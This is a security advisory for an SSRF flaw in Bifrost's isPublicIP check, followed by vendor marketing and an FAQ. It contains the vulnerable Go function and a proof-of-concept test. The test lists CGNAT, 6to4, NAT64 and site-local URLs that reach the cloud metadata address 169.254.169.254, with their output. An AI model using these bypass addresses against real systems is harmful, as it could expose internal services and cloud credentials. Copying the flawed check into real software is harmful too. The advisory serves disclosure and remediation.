Summary
Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL
isPublicIP in core/providers/utils/fetch.go, the SSRF deny-list that gates FetchAndEncodeURL, does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (100.64.0.0/10, RFC 6598), IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48), and deprecated IPv6 site-local (fec0::/10) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach, including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of 169.254.169.254.
The rest of the fetch hardening is correct and is not part of this report: the dial-time LookupIP + pin to ips[0] closes the DNS-rebinding TOCTOU, CheckRedirect re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in isPublicIP.
Affected component
- File:
core/providers/utils/fetch.go, functionisPublicIP(lines 107-118), reached only throughFetchAndEncodeURL(line 28). - Go module:
github.com/maximhq/bifrost/core - Version: confirmed on the current
devHEADf415c144678bd4b411d74a1c1f85f18652833224(core/version=1.5.15).
Vulnerable code
func isPublicIP(ip net.IP) bool {
addr, ok := netip.AddrFromSlice(ip)
if !ok {
return false
}
addr = addr.Unmap()
if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||
addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {
return false
}
return true
}
addr.IsPrivate() covers only RFC 1918 + RFC 4193 (fc00::/7); it does not cover CGNAT 100.64.0.0/10. addr.Unmap() only collapses the ::ffff:0:0/96 IPv4-mapped form, so 6to4 (2002::/16) and NAT64 (64:ff9b::/96, 64:ff9b:1::/48) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. fec0::/10 (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.
Attack surface / who can trigger it
FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:
core/providers/bedrock/utils.go:1073(documentblock.File.FileURL),:1187(image URL viaconvertImageToBedrockSource)core/providers/vertex/vertex.go:402(documentblock.File.FileURL)
These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host, it performs no address filtering, so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.
Proof of concept
A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL, real http.Client, real Transport.DialContext, real isPublicIP, and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).
package utils
import (
"context"
"fmt"
"strings"
"testing"
"time"
)
func TestSSRFGateDecision(t *testing.T) {
cases := []struct{ name, url string }{
{"CGNAT-100.64", "http://100.64.1.1:9/"},
{"CGNAT-100.127", "http://100.127.255.254:9/"},
{"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
{"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
{"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
{"sitelocal-fec0", "http://[fec0::1]:9/"},
// controls (must be rejected at the gate):
{"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
{"CONTROL-RFC1918", "http://10.0.0.1:9/"},
{"CONTROL-loopback", "http://127.0.0.1:9/"},
{"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
}
for _, c := range cases {
ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
_, _, err := FetchAndEncodeURL(ctx, c.url)
cancel()
gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
}
}
Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):
=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===
target gateBlock verbatim error / outcome
----------------------------------------------------------------------------------------------------
CGNAT-100.64 false failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded
CGNAT-100.127 false failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded
6to4-IMDS false failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF
NAT64-IMDS false failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded
NAT64-local-IMDS false failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded
sitelocal-fec0 false failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF
CONTROL-direct-IMDS true failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254
CONTROL-RFC1918 true failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1
CONTROL-loopback true failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1
CONTROL-mapped-IMDS true failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254
Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial, observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.
A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):
100.64.0.1 isPublicIP=true (CGNAT, should be blocked)
100.127.255.254 isPublicIP=true (CGNAT)
2002:a9fe:a9fe:: isPublicIP=true (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe isPublicIP=true (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe isPublicIP=true (NAT64 local-use -> 169.254.169.254)
fec0::1 isPublicIP=true (deprecated site-local)
169.254.169.254 isPublicIP=false (direct IMDS, correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false (IPv4-mapped, correctly blocked, control)
8.8.8.8 isPublicIP=true (public, correctly allowed, control)
Honest scope note
The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here, the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.
References (canonical dimension precedents)
- CVE-2026-45741 / GHSA-86m8-88fq-xfxp, Gotenberg
IsPublicIPIPv6 6to4 / NAT64 / site-local bypass; same Gonetip+Unmapgap. - GHSA-5jh9-2h63-pw4q, CC-Tweaked NAT64 (
64:ff9b::/96) bypass; their fix addsisCarrierGradeNatAddress(CGNAT) + NAT64 handling.
Impact
Server-side request forgery from the gateway into internal address space that the deny-list intends to block:
- CGNAT
100.64.0.0/10, reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions. - 6to4
2002:a9fe:a9fe::and NAT6464:ff9b::a9fe:a9fe, both embed169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct169.254.169.254and::ffff:169.254.169.254forms are correctly blocked. fec0::/10, deprecated site-local, still routed on some networks.
CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In isPublicIP, after Unmap():
- Reject CGNAT:
100.64.0.0/10for IPv4 (and the::ffff:100.64.0.0/106mapped form is already handled byUnmap). - For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (
2002::/16-> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4. - Reject deprecated site-local
fec0::/10.
Frequently Asked Questions
- What is CVE-2026-55245? CVE-2026-55245 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/maximhq/bifrost/core (go), affecting versions < 1.5.17. It is fixed in 1.5.17. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of github.com/maximhq/bifrost/core are affected by CVE-2026-55245? github.com/maximhq/bifrost/core (go) versions < 1.5.17 is affected.
- Is there a fix for CVE-2026-55245? Yes. CVE-2026-55245 is fixed in 1.5.17. Upgrade to this version or later.
- Is CVE-2026-55245 exploitable, and should I be worried? Whether CVE-2026-55245 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55245 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55245? Upgrade
github.com/maximhq/bifrost/coreto 1.5.17 or later.